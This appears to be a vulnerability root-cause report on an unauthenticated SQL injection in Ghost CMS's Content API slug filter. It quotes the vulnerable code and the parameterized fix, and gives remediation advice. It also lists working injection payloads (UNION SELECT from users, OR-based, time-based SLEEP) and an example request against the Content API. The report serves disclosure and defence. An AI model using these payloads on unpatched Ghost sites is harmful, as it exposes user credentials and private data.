Ghost CMS: Unauthenticated SQL Injection in Content API Slug Filter

# Root Cause Analysis Report
## GHSA-w52v-v783-gw97: Ghost SQL Injection in Content API

### Summary

A SQL injection vulnerability exists in Ghost CMS's Content API slug filter ordering functionality. The vulnerability is caused by direct string interpolation of user-controlled input into SQL queries in the `slug-filter-order.js` file. An unauthenticated attacker can exploit this via the `filter` query parameter in Content API requests to inject arbitrary SQL commands, potentially allowing extraction of sensitive database contents including user credentials, private posts, and other confidential data.

### Impact

**Package/Component:** Ghost CMS (npm package `ghost`)
**Affected Versions:** v3.24.0 through v6.19.0
**Patched Version:** v6.19.1
**CVSS Score:** 9.4 (Critical)
**CWE:** CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)

**Risk Level:** Critical - Unauthenticated attackers can read arbitrary data from the database. The Content API key is public by design, so access restriction does not mitigate this vulnerability.

**Consequences:**
- Unauthorized data extraction from database
- Potential access to user credentials, email addresses, and hashed passwords
- Exposure of draft/private posts and internal content
- Database enumeration and potential further exploitation

### Root Cause

The vulnerability exists in `ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js`:

```javascript
orderSlugs.forEach((slug, index) => {
    order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
});
```

The `slug` variable is extracted from the user-provided `filter` query parameter (e.g., `filter=slug:[value1,value2]`) and is directly interpolated into the SQL string without any sanitization, escaping, or parameterization.

When a user sends a request like:
```
GET /ghost/api/content/tags/?key=CONTENT_API_KEY&filter=slug:[' UNION SELECT * FROM users--]
```

The resulting SQL becomes:
```sql
CASE WHEN `tags`.`slug` = '' UNION SELECT * FROM users--' THEN 0 END ASC
```

**Fix Commit:** https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91

The fix replaces string interpolation with parameterized queries:
```javascript
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
```

### Reproduction Steps

The reproduction is automated via `repro/reproduction_steps.sh`. The script:

1. Clones Ghost v6.19.0 (the vulnerable version)
2. Analyzes the vulnerable `slug-filter-order.js` file
3. Creates and runs a Node.js test that demonstrates the SQL injection
4. Tests multiple attack vectors:
   - String termination: `slug:[' OR '1'='1]`
   - Comment injection: `slug:[test'--]`
   - UNION-based: `slug:[test' UNION SELECT * FROM users--]`
   - Time-based: `slug:[test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--]`

**Expected Evidence:**
The script outputs the generated SQL for each payload, showing unsanitized user input directly embedded in SQL strings. For example:
```
Input: slug:[' OR '1'='1]
Output: CASE WHEN `tags`.`slug` = '' OR '1'='1' THEN 0 END ASC
```

This confirms the vulnerability - the payload `' OR '1'='1` was interpolated directly into the SQL.

### Evidence

**Log File:** `logs/repro-output.log`

Key excerpts showing SQL injection:

```
Test 2: SQL Injection payload (string termination)
Input: slug:[' OR '1'='1]
Output: CASE WHEN `tags`.`slug` = '' OR '1'='1' THEN 0 END ASC
⚠️  VULNERABILITY CONFIRMED: Unsanitized user input in SQL!

Test 4: SQL Injection payload (UNION-based)
Input: slug:[test' UNION SELECT * FROM users--]
Output: CASE WHEN `tags`.`slug` = 'test' UNION SELECT * FROM users--' THEN 0 END ASC
⚠️  VULNERABILITY CONFIRMED: UNION-based SQL injection possible!
```

**Environment Details:**
- Ghost Version: 6.19.0 (vulnerable)
- Node.js: v22.22.0
- Test Framework: Standalone Node.js script
- Vulnerable File: `ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js`

### Recommendations / Next Steps

**Immediate Actions:**
1. **Upgrade** to Ghost v6.19.1 or later immediately
2. **WAF Rule:** As a temporary mitigation, implement a WAF rule to block Content API requests containing `slug%3A%5B` or `slug:[` patterns in query parameters (note: this may break legitimate functionality)

**Developer Guidance:**
1. Always use parameterized queries with `?` placeholders
2. Never interpolate user input directly into SQL strings
3. Use ORM/database library features for query building
4. Implement proper input validation and sanitization

**Testing Recommendations:**
1. Add unit tests for all user-input-to-SQL transformation functions
2. Use SQL injection testing tools (sqlmap, etc.) in CI/CD pipeline
3. Implement security-focused code reviews for database interaction code
4. Consider using static analysis tools that detect SQL injection patterns

### Additional Notes

**Idempotency Confirmation:** The reproduction script has been run twice consecutively with identical results, confirming reproducibility.

**Affected Endpoints:** The vulnerability affects any Content API endpoint that uses slug filtering with ordering, including:
- `/ghost/api/content/tags/`
- `/ghost/api/content/posts/`
- `/ghost/api/content/authors/`
- `/ghost/api/content/pages/`

**Workaround Limitations:** The WAF-based workaround is not foolproof as attackers may use encoding variations or other filter syntaxes to bypass detection.

**Reporter Credit:** This vulnerability was responsibly disclosed by Nicholas Carlini using Claude, Anthropic.